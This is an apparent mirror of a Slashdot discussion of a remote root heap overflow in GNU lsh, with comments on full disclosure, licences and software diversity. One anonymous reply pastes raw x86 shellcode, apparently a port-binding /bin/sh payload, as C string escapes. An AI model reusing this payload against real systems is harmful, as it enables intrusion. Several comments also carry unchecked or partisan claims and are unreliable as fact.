Slashdot Mirror


Remote Root Exploit In lsh

skookum writes "After last week's OpenSSH patch-fest, a lot of people suggested GNU lsh as a replacement. Unfortunately, it seems that the lsh team has recently discovered a heap overflow bug of their own that can lead to compromise. An exploit was posted to BugTraq two days ago. Happy patching."

445 comments

  1. I knew it! by dimss · · Score: 0

    I knew it! Enemies anywhere!

  2. How thoughtful by dtfinch · · Score: 1, Insightful

    Thanks for the link to the exploit code, I guess. We really needed that.

    1. Re:How thoughtful by Anonymous Coward · · Score: 0

      "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
      "\x06\x51\xb1\ x01\x51\xb1\x02\x51"
      "\x89\xe1\xb3\x01\xb0\x66\xc d\x80"
      "\x89\xc1\x31\xc0\x31\xdb\x50\x50"
      "\x50\ x66\x68\xb0\xef\xb3\x02\x66"
      "\x53\x89\xe2\xb3\x1 0\x53\xb3\x02"
      "\x52\x51\x89\xca\x89\xe1\xb0\x66"
      "\xcd\x80\x31\xdb\x39\xc3\x74\x05"
      "\x31\xc0\x4 0\xcd\x80\x31\xc0\x50"
      "\x52\x89\xe1\xb3\x04\xb0\ x66\xcd"
      "\x80\x89\xd7\x31\xc0\x31\xdb\x31"
      "\xc 9\xb3\x11\xb1\x01\xb0\x30\xcd"
      "\x80\x31\xc0\x31\ xdb\x50\x50\x57"
      "\x89\xe1\xb3\x05\xb0\x66\xcd\x8 0"
      "\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
      "\xcd\x80\ x39\xc3\x75\x40\x31\xc0"
      "\x89\xfb\xb0\x06\xcd\x8 0\x31\xc0"
      "\x31\xc9\x89\xf3\xb0\x3e\xfe\xc0\xcd\ x80"
      "\x31\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31"
      "\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31\xc0"
      "\x50\ x68\x2f\x2f\x73\x68\x68\x2f"
      "\x62\x69\x6e\x89\xe 3\x8b\x54\x24"
      "\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
      "\x80\x31\xc0\x40\xcd\x80\x31\xc0"
      "\x89\xf3\xb 0\x06\xcd\x80\xeb\x99"

    2. Re:How thoughtful by mcpkaaos · · Score: 2, Insightful

      Think of it this way:

      With the exploit patched, releasing the code for the exploit is one hell of a confident way to say, "Hey, we patched it." It also allows anyone to make sure that the machines they are responsible are, in fact, patched.

      If you ask me, this beats the hell out of either admitting to an exploit and keeping the details hidden regardless of whether or not it's patched.. or just not squeaking any info about any exploit whatsoever.

      Or.. think of it this way:

      Maybe it's just a sure-fire way to light a fire under your ass to apply the necessary patch before someone figures out the exploit and turns your computer into another node in yet another attempt to DDoS microsoft.com.

      Take yer pick, I guess. :)

      --
      It goes from God, to Jerry, to me.
    3. Re:How thoughtful by Anonymous Coward · · Score: 0

      Its also a great way to give morons exactly what they need to cause alot of people some big headaches. What is served by releasing the exploit? And ESPECIALLY example code for the exploit?! People can know their system is patched by patching their system. They dont need to test the exploit on it. Thats such a ridiculous excuse for a stupid move like this.

    4. Re:How thoughtful by Anonymous Coward · · Score: 0

      Think of it this way:

      Youre a dumbass. There is no excuse for an irresponsible move like this. Exploits and code for them should not be available to the masses on the internet. People with good intentions have no use for it that is more important than preventing the damage caused by a loser out there with nothing better to do than fuck up somebodys system.

    5. Re:How thoughtful by Anonymous Coward · · Score: 0

      There's some sort of a 'security through obscurity' thing that we're all supposed to bleat now.

    6. Re:How thoughtful by skookum · · Score: 3, Insightful

      Do you honestly think that the kind of people that would want to use such an exploit would actually learn about it from slashdot? Don't you think they'd know how to find the BugTraq archives themselves?

      Do you honestly think that by pretending that an exploit doesn't exist you're any safer? Do you think you will patch your systems (and urge your supervisors to grant you the priority to patch those systems) faster knowing that an exploit is easily available? Do you not agree that it doesn't matter whether you feel good or bad about the situation, what matters is how fast and to what extent all vulnerable systems are patched? Do you not think that knowing of an exploit helps that goal?

    7. Re:How thoughtful by RiverTonic · · Score: 1

      That's what they call 'security by obsecurity'. :-)

      --
      This is RiverTonic's sig.
    8. Re:How thoughtful by Anonymous Coward · · Score: 1, Insightful

      A link to the exploit is a good thing (at least for sysadmins and developers that are actually paying attention!). Consider the OpenSSH bugs from last week where so many claims of "I tried the exploit against OpenBSD and it worked" (for instance). 'The exploit' in this case appears to have been a complete fiction. Some, like the FreeBSD team, don't believe it is even possible to come up with an exploit on thier OS-- the OpenBSD team more or less said they can't see how it could be exploited (and nobody external to the project has come forward with any suggestions).

      One can only conclude the whole thing was over-blown and their are a few individuals that are anxious to see as much damage done to the OpenSSH developers reputation as possible (and aren't concerned how they do this). Thus many sysadmins ended up patching their systems in a mad rush twice in two days, when one patch applied with less urgency really would have been sufficient.

      At least in this case, if the exploit has been coughed up, you know the problem is absolutely real, and not just FUD.

    9. Re:How thoughtful by Anonymous Coward · · Score: 0

      Theres a different in releasing the fact that there is a flaw and writing half of a virus for anyone to download. This example code idea is outrageously irresponsible.

    10. Re:How thoughtful by Anonymous Coward · · Score: 1

      How else are you going to check if you've patched the hole successfully or not?

    11. Re:How thoughtful by AKnightCowboy · · Score: 2, Insightful
      People can know their system is patched by patching their system. They dont need to test the exploit on it.

      Actually, yes, some of us need to. Part of our security policy is to test an exploit (if available) against the patched system to verify the system is not vulnerable. Blindly accepting that "yes, the magic version number has changed so I am safe" is not reasonable for many people. It's always best to disseminate exploits as fast and as far as possible to get people to patch their systems. Take for example the recent Windows RPC vulnerabilities. 75% of the people wouldn't have patched it this year if it hadn't have been for the Blaster worm.

    12. Re:How thoughtful by anthonyrcalgary · · Score: 1

      If you're using lsh, you've accepted that the people developing the software have a policy of releasing source code patches (many of which make working exploits a lot easier to write), and of releasing example exploit code when it exists. If you don't like it, closed source solutions are available. The exploit code won't work against any of the other SSH servers, including the commercial ones.

      --
      When someone might yell at me, it has to be OpenBSD.
  3. Ha-Ha by Anonymous Coward · · Score: 4, Insightful

    I find it entertaining that the GNU zealot hippies suggest lsh as a replacement. That's like suggesting that the HURD is a replacement for the Linux kernel. Always trying to one-up the *BSD people by making something "more free", but never living up to the hype.

    BTW, *who* uses lsh????

    1. Re:Ha-Ha by SweetAndSourJesus · · Score: 1

      I'm a Free/Open BSD user/admin.

      I've never even heard of ish.

      Silly GNU people.

      --

      --
      the strongest word is still the word "free"
    2. Re:Ha-Ha by Anonymous Coward · · Score: 0

      That'd be an L as in Larry not I as in Idiot.

    3. Re:Ha-Ha by Anonymous Coward · · Score: 0

      Same here... first time I've heard of it was here in teh comment threads the other day when the OpenSSH bug was discovered.

    4. Re:Ha-Ha by Anonymous Coward · · Score: 0

      That's cause it's Lsh, dipshit.

    5. Re:Ha-Ha by kyz · · Score: 1

      Perhaps you're not Japanese.

      ish is the Japanese version (Shift_JIS, EUC-JP, etc) of what uuencode and base64 does in ASCII.

      --
      Does my bum look big in this?
    6. Re:Ha-Ha by Anonymous Coward · · Score: 0

      Yeah - that whole gcc thing isn't used by any *BSD projects.

      LOL. You couldn't even compile your own OS with GNU.

      Loser.

    7. Re:Ha-Ha by Anonymous Coward · · Score: 0


      I assume you mean without GNU. Yes, I could. Remember pcc, the portable C compiler? Long before gcc or gnu. You'd just have to write a back end for any processor that it didn't support, and when the compiler is brain-dead simple (unlike gcc), writing such a back end isn't that hard....

    8. Re:Ha-Ha by DrXym · · Score: 1
      I'm all for multiple implementations of the same protocol simply on the grounds that hetrogenous networks are harder to crack, at least automatically, than ones all using the same software (hello Microsoft).


      On the other hand, I wonder if there is any point at all in producing another open source ssh implementation for the same problem space. No one in the real world gives a toss that openssh uses a BSD style licence. Perhaps the lsh people should instead aim for where openssh might suck at (e.g. embedded) and try and capture that market.

    9. Re:Ha-Ha by defile · · Score: 1

      Always trying to one-up the *BSD people by making something "more free", but never living up to the hype.

      Yeah, it's about as ridiculous as how the *BSD people resent their dependence on GPL'd code and duplicate effort making sure they clone GNU tools and release them under a "less viral" license and they can declare their system even more BSD licensed.

      I wonder where they are on replacing gcc.

    10. Re:Ha-Ha by Anonymous Coward · · Score: 0

      You have it all wrong foolio most GNU tools are copies of BSD tools which has been in existance for years.

      As for gcc replacement Tendra looks like a good candidate.

    11. Re:Ha-Ha by larry+bagina · · Score: 2, Insightful
      liar. NetBSD kernel (and probably open + free as well) can be built with gcc, lcc, icc, sun's cc, and hp's cc, among others.

      The *BSD userland code is generally less compiler and architecture dependent than GNU or "linux" utilities. The instructions for any non-trivial GNU or linux utility usually start off by telling you to install GCC, gnu/make, gnu/flex, gnu/bison, etc before you can compile it. lots of "linux" software won't build or run properly on anything but linux/x86

      Compare that to BSD code which is useable as-is almost anywhere (it's been used by Windows 95-xp, Solaris, Aix, HPUX, OpenVMS, MacOS 7-X, minix, ATT SYS V, XINU, Xenix, etc)

      --
      Do you even lift?

      These aren't the 'roids you're looking for.

    12. Re:Ha-Ha by Mad+Marlin · · Score: 1
      Yeah, it's about as ridiculous as how the *BSD people resent their dependence on GPL'd code and duplicate effort making sure they clone GNU tools and release them under a "less viral" license and they can declare their system even more BSD licensed.

      That actually serves a purpose though. If it is licenced in a BSD-like manner, the software can be used in corporate spin-offs more easily than GPL'd stuff can.

    13. Re:Ha-Ha by anthonyrcalgary · · Score: 1

      "On the other hand, I wonder if there is any point at all in producing another open source ssh implementation for the same problem space."

      I'm in favor or diversity in general, but for me personally, asking me to use lsh is like asking me to bet against Theo's paranoia and attention to detail.

      "No one in the real world gives a toss that openssh uses a BSD style licence."

      On the contrary, OpenSSH gets used in places where a GNU licensed program would be difficult because it would have to be distributed on different media.

      --
      When someone might yell at me, it has to be OpenBSD.
    14. Re:Ha-Ha by Anonymous Coward · · Score: 0

      You're right about GNU make/gcc/bison requirements for most linux software... but not the x86 part. Very few popular linux apps are x86 only. Can you give any examples?

    15. Re:Ha-Ha by Anonymous Coward · · Score: 0

      wine. plex86.

    16. Re:Ha-Ha by Anonymous Coward · · Score: 0

      Very few popular linux apps are x86 only. Can you give any examples?

      I can't give any example of a popular linux app. Sorry.

    17. Re:Ha-Ha by Anonymous Coward · · Score: 0

      those require x86 for reasons having nothing to do with linux. I don't know if there is a WINE-alike for BSD, but if there is, it certainly would require x86 too.

    18. Re:Ha-Ha by meme_police · · Score: 1

      You mean less free?

      --

      The meme police, They live inside of my head

    19. Re:Ha-Ha by Anonymous Coward · · Score: 0

      Considering lsh existed before OpenSSH, I don't think they were trying to replace OpenSSH. It's an alternative, that's what open source is about.. choice. Funny you should take the "Oh Linux users are out to get *BSD users" attitude considering none of this has to do with either Linux nor BSD, but just a third party app. Oh, cry me a river...

  4. So what did we learn? by evn · · Score: 2, Interesting

    We should all take this to heart; any computer that isn't turned off and locked in a safe at the bottom of an ocean on jupiter should be considered insecure, and even then...

    1. Re:So what did we learn? by Doppler00 · · Score: 2

      Aha... so that explains why NASA is letting Galileo decend into Jupiter. Must be a security measure against all these recent buffer overflow exploits.

    2. Re:So what did we learn? by Anonymous Coward · · Score: 0

      The only ocean on Jupiter is the ocean of liquid metallic hydrogen, which exists at the pressure of around 4 million bars.

      You forgot to mention that the choice of the safe is left as an exercise for the reader.

    3. Re:So what did we learn? by t0ny · · Score: 1
      We should all take this to heart; any computer that isn't turned off and locked in a safe at the bottom of an ocean on jupiter should be considered insecure, and even then...

      and even then its somehow Microsoft's fault.

      --

      Manipulate the moderator system! Mod someone as "overrated" today.

    4. Re:So what did we learn? by Anonymous Coward · · Score: 0

      your sig is an obvious troll, as IHBT I'm AC...

      Mac OS X makes a fine server platform. I'd take apache on any platform over IIS.

    5. Re:So what did we learn? by t0ny · · Score: 1
      Spoken like a true software-only person. Unless it has server level HARDWARE, which has nothing to do with the OS, it doesnt deserve to be called a server.

      Mac 'servers' are nothing more than what everyone else calls workstations. Sticking feathers up your ass does not make you a chicken.

      --

      Manipulate the moderator system! Mod someone as "overrated" today.

  5. What is the point of lsh? by Anonymous Coward · · Score: 2, Insightful

    Does it exist solely because of the non-GNUness of other implementations?

    What idiots.

    1. Re:What is the point of lsh? by Anonymous Coward · · Score: 0

      Don't forget the extra features, like the 100% GNU/GPL flaw. It really stands on its own merits. ;)

    2. Re:What is the point of lsh? by Anonymous Coward · · Score: 0

      So tell me, do you use lsh?

      Bet you don't.

    3. Re:What is the point of lsh? by Anonymous Coward · · Score: 0

      It is?

      So what bugs does it have? I'd be fascinated to know how it's "bug ridden"?

      Of course, lsh doesn't support a fraction of the features that openssh does - and I mean the useful stuff, not just the minor stuff.

      lsh isn't even considered secure by the developers...

    4. Re:What is the point of lsh? by Anonymous Coward · · Score: 0

      So what bugs does it have?

      See OpenSSH 3.6.2 (or whatever) and 3.7. Also, see previous versions that had security flaws. Bug ridden.

    5. Re:What is the point of lsh? by Anonymous Coward · · Score: 0

      For one thing, it predates OpenSSH. Another motivation was that the secsh protocol was submitted for standardization and IIRC there need to be two independent implementations for it to be accepted.

      So it really had little to do with GNUness, nor do most other projects I know of.

    6. Re:What is the point of lsh? by qtp · · Score: 1

      IMHO, having multiple implementations of the same functionality is a good thing.

      Having two different code bases that solve the same problem or support the same protocols gives the opportunity to examine different approaches by developers and students, offers administrators the choice of using whichever better suits thier needs, and allows drop in replacements if one or the other is inherently flawed or later is changed in such a way that it no longer suits the needs of the administrator or user.

      There's a lot of people who are under the impression thatany duplication of effort is either wasted or bad in some way, and in specific cases they may be right, but as a whole we are all better off if different projects (even the ones you don't like) spend time finding different answers to problems that have "already been solved". At least in Free Software, there's always more than one way to do it. I hope there always will be.

      --
      Read, L
    7. Re:What is the point of lsh? by Anonymous Coward · · Score: 0

      Why is OpenBSD replacing GNU compenents with non-GNU components? Is it solely because of their BSD-pure zealotry?

      Idiots.

  6. The standard conclusion by Overly+Critical+Guy · · Score: 3, Interesting

    Nothing is 100% secure, nothing is flawless, all operating systems are imperfect pieces of junk we're lucky to have running in the first place.

    --
    "Sufferin' succotash."
    1. Re:The standard conclusion by Anonymous Coward · · Score: 0

      All your O/S are belong to us...

    2. Re:The standard conclusion by Anonymous Coward · · Score: 0

      my sol.exe is 100% secure and flawless

    3. Re:The standard conclusion by GammaTau · · Score: 4, Insightful

      Nothing is 100% secure, nothing is flawless, all operating systems are imperfect pieces of junk [...]

      Which is why software monoculture is bad. The existence of competing implementations is always a good thing whether it's OpenSSH vs. GNU lsh or something else. That way not everything is compromised in one swoop once a new security flaw is discovered.

    4. Re:The standard conclusion by Electrum · · Score: 1

      Nothing is 100% secure

      Oh really?

    5. Re:The standard conclusion by Overly+Critical+Guy · · Score: 0, Troll
      --
      "Sufferin' succotash."
    6. Re:The standard conclusion by Whyzzi · · Score: 1

      Because humans are imperfect, the software humans write will be imperfect too.

      --
      "BSD is about people pissing each other.." (Moid Vallat)
    7. Re:The standard conclusion by Anonymous Coward · · Score: 0

      If monocultures are bad, then why does the 'linux camp' only advocate Linux? Why do firms that have names for parts of them like the Open Source Development Network or Open Source Development Labs spend their money on GNU/Linux - thus creating a new monoculture?

    8. Re:The standard conclusion by Anonymous Coward · · Score: 0

      I'm with you 99%.

    9. Re:The standard conclusion by ScrewMaster · · Score: 3, Insightful

      I might add that this philosophy applies to organic systems as well, and for the same reason. A sufficient degree of diversity in any population, whether it be microbes, human beings, or operating systems, helps assure that no single pathogen can be totally destructive. Certainly, in this modern age of world-wide non-OS-specific internetworking protocols and data interchange formats, we should promote operating-system diversity as an additional level of safety.

      I see many large corporations enforcing enterprise-wide standards. That is, everyone will run the same version of Windows, with the same applications software, same service packs, same anti-virus and firewall software ... which just means that when one machine does get compromised the entire organization is at risk. On the other hand, this situation is very convenient from the IT professional's point of view, so there is some argument for it. But I maintain that having a mix of operating systems, applications and protective software can provide more security than a more homogenous approach, and security is what we all want, right? Right?

      --
      The higher the technology, the sharper that two-edged sword.
    10. Re:The standard conclusion by GoofyBoy · · Score: 1


      >and security is what we all want, right?

      No not really.

      There is only so far this argument will go. How many different OSs do we need to be sufficently homogenous? And there are only really say 8 different (or some number around there) OSs that someone can use effectively and then only say 3 good word processors on each platform. So thats 24 configureations for everyone in your office. All for the sake of security? Wouldn't user training be more efficent?

      Its the argument of diversification: "Don't put all your eggs in one basket". But the counter argument against this is "Put all your eggs in one basket and WATCH that basket like a hawk".

      --
      The surprise isn't how often we make bad choices; the surprise is how seldom they defeat us.
    11. Re:The standard conclusion by pebs · · Score: 2, Informative

      If monocultures are bad, then why does the 'linux camp' only advocate Linux? Why do firms that have names for parts of them like the Open Source Development Network or Open Source Development Labs spend their money on GNU/Linux - thus creating a new monoculture?

      Someone has to focus on it. There will always be those groups of people who want to specialize in one area, and advocate the same specialization. But that's ok, as long as there are different groups doing different things. When everyone starts doing the same thing *cough* Windows *cough*, then we have a problem.

      --
      #!/
    12. Re:The standard conclusion by zootread · · Score: 1

      Yeah, I remember that article. I used to crack UNIX/Linux systems exclusively. Why? Because they are way more interesting. Its much nicer to have control of a UNIX/Linux machine than some sorry little Win NT box. Besides, there's not much challenge in cracking Windows. Leave it for the worms...

      --
      Zoot!
    13. Re:The standard conclusion by damiam · · Score: 1

      Just because no one's found the holes doesn't mean they aren't there.

      --
      It's hard to be religious when certain people are never incinerated by bolts of lightning.
    14. Re:The standard conclusion by dmelomed · · Score: 1

      And how much more time will it take to find holes in his software given its size and time on the market?
      What's the likelyhood?

    15. Re:The standard conclusion by Josuah · · Score: 1

      Which is why software monoculture is bad. The existence of competing implementations is always a good thing whether it's OpenSSH vs. GNU lsh or something else. That way not everything is compromised in one swoop once a new security flaw is discovered.

      Exactly! This is why I run all the competing implementions on the same box, at the same time. No matter what, my box won't be compromised in one swoop when a new security flaw is detected. If only other people realized this more often.

    16. Re:The standard conclusion by 0x12d3 · · Score: 1

      That way not everything is compromised in one swoop once a new security flaw is discovered.

      Yeah like in this case for instance... It took two swoops.

    17. Re:The standard conclusion by ScrewMaster · · Score: 1

      Yes, but if your basket has more holes than a sieve it won't matter much. All your eggs will fall out on the floor and break anyway.

      --
      The higher the technology, the sharper that two-edged sword.
  7. That's it by Anonymous Coward · · Score: 5, Funny

    I am switching to a vendor, who takes security seriously. Enough of this patching crap.

    1. Re:That's it by dimss · · Score: 1, Funny

      The only vendor who prepackages it's OSes with lots of useful stuff -- Media Player, Internet Explorer, Worms, Viruses...

    2. Re:That's it by Anonymous Coward · · Score: 0

      Don't you know it! I'm anxiously waiting for when Worm 3.11 for workgroups comes out of it's pre-release beta stage and actually goes gold. I've got mine preordered so I don't have to wait in line behind you suckas at EB!

  8. That is it I quit by Anonymous Coward · · Score: 5, Funny

    Between MS worms, SSH, and this I am throwing down my keyboard...

    Oh wait is that a new slashdot article?

    I might be able to get first post...

    1. Re:That is it I quit by nacturation · · Score: 2, Funny

      Between MS worms, SSH, and this I am throwing down my keyboard...

      Oh wait is that a new slashdot article?

      I might be able to get first post...


      Well, I guess you'll have to settle for frosty piss instead.

      --
      Want to improve your Karma? Instead of "Post Anonymously", try the "Post Humously" option.
  9. Can someone explain to me why.. by Anonymous Coward · · Score: 4, Insightful

    We have a GNU ordained version of the SSH protocols when OpenSSH is doing a fantastic job?

    Even if you are going to argue the BSD vs. GPL license issue, the lsh devs could have just taken the OpenSSH code, made some slight changes, and re-released it under the GPL.

    So again I ask: Why?

    1. Re:Can someone explain to me why.. by critter_hunter · · Score: 1

      Pick one of: "Because they could", "Why not?", or "It seemed like a good idea at the time".

      --
      Karma: Could be worse (could be raining)
    2. Re:Can someone explain to me why.. by jonabbey · · Score: 1

      It's good to have competing implementations of critical protocols like this, to avoid monoculture.

      See, if everyone had been using OpenSSH, then an exploit against an OpenSSH vulnerability would have worked everywhere. This way, the script kiddies need to come up with two separate exploits, and try to figure out which one is applicable for any given system.

      Of course, it looks like this lsh vulnerability is much worse than the OpenSSH theoretical vulnerability was, but the ecological argument still pertains.

    3. Re:Can someone explain to me why.. by lcs · · Score: 5, Informative

      I, like the author of lsh, is a member of the same
      computer society, Lysator, and I happen to remember
      reading about the early lsh developments.

      It was started in August 1998, and that's as far
      as I know, several months if not years before
      OpenSSH was started.

    4. Re:Can someone explain to me why.. by hamster+foo · · Score: 1

      Of course, you could also argue that having multiple implementations of the same tools increases the likelihood of vulnerabilities. It stands to reason that as the number of projects increases, so will the number of security holes as a whole.

      Regardless, I doubt that increasing security via more alternatives was the reasoning behind starting this project. I would much rather see these developers group together to debug problems and eliminate security issues.

      --
      - b
    5. Re:Can someone explain to me why.. by chekhov · · Score: 1
      the lsh devs could have just taken the OpenSSH code, made some slight changes, and re-released it under the GPL
      Only the copyright holder(s) of the OpenSSH code can relicense it, so this would not be possible.
    6. Re:Can someone explain to me why.. by Dehumanizer · · Score: 1

      If that was true, then the BSD license would never allow for code being introduced in closed, proprietary software...

      --
      The Tlog - a technology blog
    7. Re:Can someone explain to me why.. by chekhov · · Score: 1
      From the OpenSSH license:
      * Redistribution and use in source and binary forms, with or without
      * modification, are permitted provided that the following conditions
      * are met:
      * 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
      * 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
      BSD style licenses allow redistribution in source and binary form under conditions like the above. This is not the same thing as taking the source and changing the license of it as the original poster claimed to be possible.
    8. Re:Can someone explain to me why.. by FooBarWidget · · Score: 2, Informative

      Because GNU Ish was created before OpenSSH. It's as simple as that.

    9. Re:Can someone explain to me why.. by Anonymous Coward · · Score: 0

      Because lsh is much older than openssh, so there was no code to borrow from.

    10. Re:Can someone explain to me why.. by Nugget · · Score: 1

      You're wrong. The BSD license allows exactly what you suggest is not possible. Taking BSD code and re-licensing it or incorporating it into code which has a more restrictive license. The only limitation on your ability to do this is that you must include the copyright notice in the source code and documentation (you're just relicensing it, not reassigning ownership).

      This is a feature of the BSD license.

    11. Re:Can someone explain to me why.. by pebs · · Score: 1

      We have a GNU ordained version of the SSH protocols when OpenSSH is doing a fantastic job?

      If OpenSSH is doing such a fantastic job, then why have there been two remote root exploits in the last year? And yes, lsh has the same kind of problems. That's why competition between the two is good.

      From what I hear lsh has a much cleaner codebase. lsh started from scratch, whereas OpenSSH took the old SSH 1.2.12 (the last free version) and fixed the known issues with it. Starting from scratch can be a good thing. You have the benefit of hindsight.

      Personally, I use OpenSSH, but only internally (no access from the Internet). But I'm glad lsh exists in case I may want to switch one day.

      --
      #!/
    12. Re:Can someone explain to me why.. by antiMStroll · · Score: 1

      This was already explained in an earlier post, but for moderators who won't RTFForum, lsh was started when the original SSH licensing became too restrictive with each new version. The OpenBSD people also started work on an alternative, OpenSSH, based on cleaning up an early and less restrictive version os SSH. Lsh predates OpenSSH but the latter became more popular.

    13. Re:Can someone explain to me why.. by Anonymous Coward · · Score: 0

      I'm more curious about why so many people suggested replacing openssh with lsh in the earlier ssh vulnerability discussion. Was there some reason to believe it would prove inherently more secure? Is it just because it doesn't offer the option of supporting SSH1? Anyway, it's been in the works for a long time and has yet to put out a non-development release... that leads [at least this] one to believe it doesn't have much development velocity.

    14. Re:Can someone explain to me why.. by NuShrike · · Score: 1

      So it could've borrowed from SSH just like OpenSSH. What's the problem?

    15. Re:Can someone explain to me why.. by NuShrike · · Score: 1

      >From what I hear lsh has a much cleaner codebase. lsh started from scratch, whereas OpenSSH took the old SSH 1.2.12 (the l

      Has anybody looked at the lsh section code patched? It's a HUGE lack of understanding of how programming language works, written in ANY language.

      How can you fail to return from the function when an error occured, but continue to process like it never happened?

      This isn't some somewhat obfuscated logic error in OpenSSH, it's some plain "learning to program" error.

    16. Re:Can someone explain to me why.. by Triumph+The+Insult+C · · Score: 1

      nuh uh, that's incorrect. =( if what you suggest were the case, we wouldn't see osx, ios, ipso, and a host of other oses, all of which have gotten some influence from bsd.

      you can change the license all you want. what you cannot change is the copyright.

      that's what the turmoil was between openbsd and microbsd a few months back. the microbsd more or less did a global s/OpenBSD/MicroBSD/ on files ... files which included the copyright notice.

      --
      vodka, straight up, thank you!
    17. Re:Can someone explain to me why.. by S.Lemmon · · Score: 1

      Well, if what you're saying is true - LSH may predate the "OpenSSH" name, but not the OpenSSH codebase.

  10. Hareware preventable? by darkstar949 · · Score: 1

    I have been reading up on the overflow exploits on various systems, and one thing that I have been wondering about is this - Are the exploits the result of poor software design or the result of poor hardware design. In other words, is it possible to isolate the instructions for the processor in RAM from the data portion of the RAM, through separate sticks of RAM? Or is it something that we must be aware of when programming?

    1. Re:Hareware preventable? by the_greywolf · · Score: 1

      i can't speak for other platforms, but on x86, such protection does exist, but OS designers seem lax in implementing it.

      there are two registers on the x86 that point to segment descriptor lists that define how a memory segment is treated: read-only, write-only, executeable, etc.

      but to maintain compatibility with other platforms, paging is often used instead, since it is available across all platforms.

      so in answer of your question, it's both poor software and poor hardware, IMHO, and it is possible to prevent at some level. the problem is simply the fact that segmentation and memory space separation on x86 is far underutilized. ideally, the data segment exists entirely outside the code segment without execute permission.

      --
      grey wolf
      LET FORTRAN DIE!
    2. Re:Hareware preventable? by Anonymous Coward · · Score: 0

      obviously you haven't been reading anything.

    3. Re:Hareware preventable? by darkstar949 · · Score: 1
      Do you think you can point me in the direction of some more information on those x86 registers?

      Thanks.

    4. Re:Hareware preventable? by Anonymous Coward · · Score: 0

      Most of these weaknesses are the result of the poor design of the early u**x libraries with the C language. Unfortunately these were then standardized, so that all C-based systems are starting from a weak point. We then have to painfully teach and watch every use of any of these library routnes for security holes.

      All done in the name of elegance and efficiency.

      Hindsight is so useful!

    5. Re:Hareware preventable? by Anonymous Coward · · Score: 0

      but to maintain compatibility with other platforms, paging is often used instead, since it is available across all platforms.


      There's nothing preventing you from storing code and data in different pages, and making the code pages execute/read only, and data pages read/write. There are patches for Linux that does this.

    6. Re:Hareware preventable? by Anonymous Coward · · Score: 0

      It is the result of poor software design.

      It's such a shame people still use C.

    7. Re:Hareware preventable? by anthonyrcalgary · · Score: 1
      Hardware can help, most modern hardware can do non-executable memory, but it's a pain to use properly, so most OSes don't. It's not enough by itself though, look at the X-Box.

      The C libraries don't help. Take a look at some of the documentation. "the results are undefined" appears about a thousand times in the standard library. That basically means whoever implements that function isn't obligated to check for certain conditions, and every time that happens it's an exploit waiting to happen.

      That's bad, and that leads to enough exploits by itself, but then you have just about every programmer on the planet doing stuff like this:
      char buff[100]; /* should be big enough */
      "should be big enough" translates idiomatically as "please exploit me".
      --
      When someone might yell at me, it has to be OpenBSD.
    8. Re:Hareware preventable? by edwdig · · Score: 1

      There's nothing preventing you from storing code and data in different pages, and making the code pages execute/read only, and data pages read/write. There are patches for Linux that does this.

      Well, nothing other than the fact that in x86 page tables, the execute flag and the write flag are the same bit.

  11. Bug not mentioned on lsh Web page by Anonymous Coward · · Score: 0

    Does anyone else find it odd that this is only mentioned in the lsh mailing lists, and not on their Web site?

  12. GPL? by ashkar · · Score: 2, Insightful

    Why would anyone voluntarily use software liscenced under the GPL when there is a much better, more servicable, and well tested application that runs under a less restrictive liscence? With the speed OpenSSH was patched, what is there to complain about. I mean, people still use sendmail with its track record of security bugs galore. It's unlikely anyone will switch because of a single bug.

    BSD, the way the world is supposed to be.

    1. Re:GPL? by Anonymous Coward · · Score: 0

      I switched from sendmail because of its poor security track record, and because of the superiority of Postfix. Similarly I will switch from OpenSSH because of its poor track record, assuming a) lsh is found to be more secure (we'll probably soon see) and b) it has the features I need.

      People are quick to laud OpenSSH because it's a free ssh implementation, but they always seem to pretend that its security flaws are OK.

      This is not the first time I've had to patch my boxes that run OpenSSH and I'd bet it won't be the last.

    2. Re:GPL? by irc.goatse.cx+troll · · Score: 1

      Because security through denial is not security.

      Theo has a horrible track record, I wouldnt trust him to secure my porn collection. That openssh hole wasnt the first remote root on openbsd, just the first one that was too big for theo to deny and silently patch to keep his ego up.
      Compare old(vuln) talkd in openbsd to current.
      No security professional worth anything would honestly say they trust any code theo is at all responsible for.

      For anyone looking for a good alternative: telnet over an ssl tunnel or vpn.

      --
      Pain lasts, kid. Its how you know you're alive. Sometimes I think this growing up thing is just pain management-TheMaxx
    3. Re:GPL? by RoLi · · Score: 1
      For the very same reason companies found alliances around Linux but usually ignore BSD.

      BSD can be highjacked anytime (exactly what happened to Unix) and it doesn't protect you from patents.

      The GPL is a true hassle-free "no-sue" license.

    4. Re:GPL? by geekster · · Score: 1

      How is the GPL more restrictive for a user? A developer, sure, that's the point. But a user?

  13. Telnet by Henry+V+.009 · · Score: 4, Insightful

    I was going to repeat "switch to Telnet joke" that I made last time, but I just can't get up will this time. These bugs are killing us. I seriously think that we need to take some time to consider how Open Source projects do security. The "more eyes" mantra doesn't cut it. We need security models, standards, testing, and god knows what else. We need to look at which projects have been successful, and which have been miserable security failures. I know the open source community can do a lot better.

    1. Re:Telnet by daeley · · Score: 3, Insightful

      While I would agree with you in the abstract that the open source community can do a lot better on some things, the bug was confirmed 2 days ago and patched immediately. Good software !== no bugs ever.

      --
      I watched C-beams glitter in the dark near the Tannhauser gate.
    2. Re:Telnet by runderwo · · Score: 4, Informative
      I seriously think that we need to take some time to consider how Open Source projects do security. The "more eyes" mantra doesn't cut it.
      Um, how do you think this problem was spotted? Read the mailing list post. There was a pair of eyes that found the bug, and he subsequently posted to the list.

      In addition, a fix was checked in within four hours. 14 hours later, exploit code was posted to SecurityFocus, in the afternoon. Any admin who checked the lsh mailing list in the morning would have seen the error and the fix, and been well ahead of the exploit.

    3. Re:Telnet by cscx · · Score: 3, Funny

      Any admin who checked the lsh mailing list in the morning would have seen the error and the fix, and been well ahead of the exploit.

      Don't you mean "the admin," or is there really more than one person using lsh?

    4. Re:Telnet by matusa · · Score: 2, Interesting

      It seems to me that the only projects which can attest to an admirable security record are the ones that not only pursued security with a paranoid fervor for the entirety of their development, but furthermore were envisioned/designed with security as a prime consideration and can comment on security as a foremost issue in basically any context. If you go through examples in your head (postfix, openssh), you'll realize what I say.

    5. Re:Telnet by quantaman · · Score: 3, Funny

